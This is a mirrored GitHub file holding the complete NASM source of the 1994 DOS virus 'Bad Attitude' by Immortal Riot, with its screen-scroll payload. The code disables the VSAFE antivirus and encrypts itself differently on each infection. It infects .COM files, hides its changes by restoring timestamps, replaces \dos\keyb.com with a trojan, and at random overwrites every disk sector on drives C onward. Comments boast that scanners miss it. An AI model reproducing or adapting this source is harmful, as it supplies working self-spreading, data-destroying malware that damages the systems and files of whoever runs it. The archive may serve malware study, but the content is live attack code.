mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
412 lines
8.3 KiB
NASM
412 lines
8.3 KiB
NASM
; -Bad Attitude-
|
||
; "Created by Immortal Riot's destructive development team"
|
||
; (c) '94 The Unforgiven/Immortal Riot
|
||
;
|
||
; "If I don't have bad attitude, this virus is harmless"
|
||
;
|
||
; Notes:
|
||
; F-Prot, Scan, Tbav, Findviru can't find shits of this virus.
|
||
;
|
||
; Disclaimer:
|
||
; If this virus damages you, it's a pleasure, but not the fault
|
||
; of the author. If you want to sue me, it's your loss.
|
||
;
|
||
; Dedication:
|
||
; I dedicate this virus to all virus writers worldwide!
|
||
|
||
.MODEL TINY
|
||
.CODE
|
||
ORG 100h
|
||
|
||
Virus_start:
|
||
xchg ax,ax
|
||
xchg ax,ax ; Take down VSAFE from memory!
|
||
mov ax,0fa01h
|
||
mov dx,5945h
|
||
int 16h
|
||
|
||
call get_delta_offset
|
||
real_start:
|
||
|
||
Get_delta_offset: ; Get delta offset
|
||
pop bp
|
||
sub bp, offset get_delta_offset
|
||
|
||
Call_en_de_crypt:
|
||
mov ax,bp
|
||
add ax,11Ah
|
||
push ax
|
||
jmp short en_de_crypt ; First, decrypt the virus
|
||
jmp short real_code_start ; and then, continue!
|
||
|
||
encryption_value dw 0 ; Random value for each infection!
|
||
|
||
Write_virus:
|
||
call en_de_crypt ; Encrypt the virus
|
||
mov ah,40h
|
||
mov cx, offset virus_end-100h
|
||
lea dx, [bp+100h]
|
||
int 21h
|
||
call en_de_crypt ; Decrypt the virus again
|
||
ret
|
||
|
||
En_de_crypt:
|
||
mov ax,word ptr [bp+encryption_value]
|
||
lea si,[bp+real_code_start]
|
||
mov cx,(virus_end-real_code_start+1)/2
|
||
|
||
Xor_LoopY:
|
||
xor word ptr [si],ax
|
||
inc si
|
||
inc si
|
||
Loop Xor_LoopY
|
||
ret
|
||
|
||
Real_code_start:
|
||
mov ah,2ch ; Get Time
|
||
int 21h
|
||
cmp dl,0 ; 1%
|
||
jne Another_Percent
|
||
call Create_file
|
||
|
||
Another_Percent:
|
||
cmp dl,1 ; another %
|
||
jne not_this_time ; Naaaaaaah
|
||
|
||
mov ah,09h ; Print the virus name
|
||
lea dx,[bp+virus]
|
||
int 21h
|
||
|
||
Trash_sucker: ; Overwrite all sectors on all drives!
|
||
mov al,2h ; on drive C - Z
|
||
Drive:
|
||
mov cx,1
|
||
lea bx,virus
|
||
cwd
|
||
Next_Sector:
|
||
int 26h
|
||
inc dx
|
||
jnc next_sector
|
||
inc al
|
||
jmp short drive
|
||
|
||
Not_this_time:
|
||
cld
|
||
Set_Dta: ; Set the dta
|
||
mov ah,1ah
|
||
lea dx,[bp+virus_end]
|
||
int 21h
|
||
|
||
Buffer_Xfer: ; Restore the beginning
|
||
lea si,[bp+first_bytes]
|
||
lea di,[bp+@buf]
|
||
mov cx,2
|
||
rep movsw
|
||
|
||
mov di,3 ; Infection-counter
|
||
|
||
Get_drive: ; Get drive from where we're
|
||
mov ah,19h ; executed from
|
||
int 21h
|
||
|
||
cmp al,2
|
||
jae Get_Dir ; A: or B:, if so, don't infect
|
||
jmp restore_start ; other programs! Just return normally!
|
||
|
||
Get_dir: ; Get directory from we're executed
|
||
mov ah,47h ; from!
|
||
xor dl,dl
|
||
lea si,[bp+dirbuf+1]
|
||
int 21h
|
||
|
||
Find_First: ; Find first file
|
||
mov cx,111b
|
||
lea dx,[bp+filemask]
|
||
mov ah,4eh
|
||
_4fh: ; When called ah=4fh
|
||
int 21h
|
||
|
||
jnc clear_file_attribs ; We did find a file!
|
||
|
||
chdir: ; We didn't find a file,
|
||
cmp byte ptr [bp+DOSflag],1
|
||
jne dot_dott
|
||
jmp no_more_files
|
||
|
||
dot_dott:
|
||
mov ah,3bh ; so we try in another dir!
|
||
lea dx,[bp+offset dot_dot]
|
||
int 21h
|
||
jnc find_first
|
||
|
||
mov ah,3bh ; We try to infect files in
|
||
lea dx,[bp+offset DOS] ; \DOS
|
||
int 21h
|
||
inc byte ptr [bp+dosflag]
|
||
|
||
jnc find_first
|
||
jmp no_more_files
|
||
|
||
Clear_file_attribs: ; Clear file attribs
|
||
mov ax,4301h
|
||
sub cx,cx
|
||
lea dx,[bp+virus_end+1eh]
|
||
int 21h
|
||
|
||
Open_file: ; Open the file in read/write mode!
|
||
mov ax,3d02h
|
||
int 21h
|
||
xchg ax,bx
|
||
|
||
Read_file: ; Red the first four bytes of the file
|
||
mov ah,3fh
|
||
mov cx,4
|
||
lea dx,[bp+first_bytes]
|
||
int 21h
|
||
|
||
Check_already_infected: ; and check if it's already infected
|
||
|
||
mov si,dx
|
||
lea si,[bp+first_bytes]
|
||
cmp word ptr [si],0e990h
|
||
je already_infected
|
||
|
||
cmp word ptr [si],5a4dh ; or an EXE file?
|
||
je already_infected
|
||
cmp word ptr [si],4d5ah ; or an EXE file?
|
||
je already_infected
|
||
|
||
mov ax,word ptr [bp+virus_end+1ah] ; or smaller than 400 bytes?
|
||
cmp ax,400
|
||
jb already_infected
|
||
cmp ax,64000 ; or bigger than 64000 bytes?
|
||
ja already_infected ; if so, don't infect <20>m!
|
||
|
||
Move_file_pointer_2_EOF:
|
||
|
||
call F_Ptr ; Move file-pointer to end of file
|
||
sub ax,4 ; take the last four bytes
|
||
|
||
Fill_1st_buf:
|
||
mov word ptr [bp+Istbuf],0e990h ; Fill the four bytes
|
||
mov word ptr [bp+Istbuf+2],ax ; with our own jmp-constrution!
|
||
|
||
_TopOfFile: ; Move file-pointer to
|
||
mov ax,4200h ; the beginning of file!
|
||
int 21h
|
||
|
||
Write_first4: ; Write our own jump instruction
|
||
mov ah,40h
|
||
mov cx,4
|
||
lea dx,[bp+Istbuf]
|
||
int 21h
|
||
|
||
_EOF: ; Move to end of file again
|
||
call F_Ptr
|
||
|
||
Get_random: ; Get a random value
|
||
mov ah,2ch
|
||
int 21h
|
||
add dl, dh
|
||
|
||
jz get_random
|
||
mov word ptr [bp+encryption_value],dx ; put it as the encryption value
|
||
call write_virus ; infect the file
|
||
|
||
jmp short restore_time_date ; Then cover our tracks!
|
||
|
||
Already_infected:
|
||
inc di
|
||
|
||
Restore_Time_Date: ; Restore the infected file time
|
||
lea si,[bp+virus_end+16h] ; and date stamps
|
||
mov cx,word ptr [si]
|
||
mov dx,word ptr [si+2]
|
||
mov ax,5701h
|
||
int 21h
|
||
|
||
Close_file: ; Close the file!
|
||
mov ah,3eh
|
||
int 21h
|
||
|
||
Set_old_attrib: ; Set back old attribs!
|
||
mov ax,4301h
|
||
xor ch,ch
|
||
mov cl,byte ptr [bp+virus_end+15h]
|
||
lea dx,[bp+virus_end+1eh]
|
||
int 21h
|
||
|
||
Enough_files: ; Have we infected
|
||
dec di ; 3 files this run?
|
||
cmp di,0
|
||
je no_more_files
|
||
|
||
mov ah,4fh ; No, then, search for the next file!
|
||
jmp _4fh
|
||
|
||
No_more_files: ; We've infected enough!
|
||
Restore_start:
|
||
lea si,[bp+@buf]
|
||
mov di,100h
|
||
movsw
|
||
movsw
|
||
|
||
Restore_dir: ; Restore the directory to
|
||
lea dx,[bp+dirbuf] ; from where we were
|
||
mov ah,3bh ; executed from!
|
||
int 21h
|
||
|
||
Exit_proc: ; and then return to the
|
||
mov bx,100h ; real-file!
|
||
push bx
|
||
xor ax,ax
|
||
retn
|
||
|
||
F_Ptr: ; Move the file-pointer to end of
|
||
mov ax,4202h ; file! (used twice!)
|
||
xor cx, cx
|
||
xor dx, dx
|
||
int 21h
|
||
ret
|
||
|
||
Create_file: ; Create a new \dos\keyb.com
|
||
Mov ah,3ch
|
||
mov cx,0
|
||
lea dx,[bp+filename]
|
||
int 21h
|
||
|
||
Write_Da_File:
|
||
xchg ax,bx
|
||
mov ah,64d
|
||
mov cx,len
|
||
lea dx,[bp+scroll] ; Write new content in the file
|
||
int 21h
|
||
|
||
Close_Da_File: ; Close the trojanized file
|
||
mov ah,3eh
|
||
int 21h
|
||
ret ; and continue..
|
||
|
||
scroll db "<22><>$<0F><03>R<><52>2Ҵ<02><10>O <00> <00>",1ah," <09>"
|
||
scrol1 db " <20>Q<>8",0ffh,"<22><>Y<EFBFBD><02>z<01>!<21>{<01>!<21>|<01>!<21>}<01>!<21>~<01>!<21><01>!<21><16><01>!<21><16><01>!<21> <20>!<21><16><01>!<21><16><01>!<21><16><01>!<21><16><01>!<21> <20>!O<><4F>ImmortalRiot "
|
||
len equ $-scroll
|
||
|
||
virus db '[BAD ATTITUDE!]$'
|
||
copy db "(c) '94 The Unforgiven/Immortal Riot"
|
||
|
||
Filemask db '*.COM',0
|
||
Dot_dot db '..',0
|
||
dos db '\dos',0
|
||
|
||
filename db '\dos\keyb.com',0
|
||
Buffers:
|
||
First_bytes db 90h,90h,50h,0c3h ; Our own little jmp constrution!
|
||
|
||
|
||
@buf db 4 dup(0) ; Empty space to be
|
||
Istbuf db 4 dup(0) ; filled with instructions
|
||
DIRBUF db "\"
|
||
Junkie:
|
||
db 64 DUP(0)
|
||
dosflag db 0
|
||
virus_end:
|
||
end virus_start
|
||
; ------------------------------------------------------------------------------
|
||
; Here is the nice pay-load (read:scroll) in the Bad Attitude virus.
|
||
|
||
.model tiny
|
||
.code
|
||
org 100h
|
||
Ssscroll:
|
||
mov al,dl
|
||
and al,15
|
||
|
||
mov ah,3
|
||
int 10h
|
||
push dx
|
||
|
||
mov dh,al
|
||
xor dl,dl
|
||
|
||
mov ah,2
|
||
int 10h
|
||
|
||
mov di,79
|
||
mov cx,1
|
||
|
||
arrow:
|
||
mov ax,91Ah
|
||
|
||
mov bl,10
|
||
int 10h
|
||
|
||
DELAY:
|
||
push cx
|
||
mov cx,-200
|
||
rep lodsb
|
||
pop cx
|
||
|
||
mov ah,2
|
||
|
||
mov dl, I
|
||
int 21h
|
||
|
||
mov dl, M
|
||
int 21h
|
||
|
||
mov dl, M2
|
||
int 21h
|
||
|
||
mov dl, O
|
||
int 21h
|
||
|
||
mov dl, R
|
||
int 21h
|
||
|
||
mov dl, T
|
||
int 21h
|
||
|
||
mov dl, A
|
||
int 21h
|
||
|
||
mov dl, L
|
||
int 21h
|
||
|
||
Space:
|
||
mov dl, ' '
|
||
int 21h
|
||
|
||
mov dl, R2
|
||
int 21h
|
||
|
||
mov dl, I2
|
||
int 21h
|
||
|
||
mov dl, O2
|
||
int 21h
|
||
|
||
mov dl, T2
|
||
int 21h
|
||
|
||
mov dl,' '
|
||
int 21h
|
||
dec di
|
||
jmp arrow ; Loop until a ctrl+break is pressed!
|
||
|
||
heap:
|
||
I db 'I' ; Immortal Riot
|
||
M db 'm'
|
||
M2 db 'm'
|
||
o db 'o'
|
||
R db 'r'
|
||
T db 't'
|
||
A db 'a'
|
||
L db 'l'
|
||
|
||
R2 db 'R'
|
||
I2 db 'i'
|
||
O2 DB 'o'
|
||
T2 DB 't' ; Is here to stay!
|
||
a13 db ' '
|
||
|
||
end Ssscroll |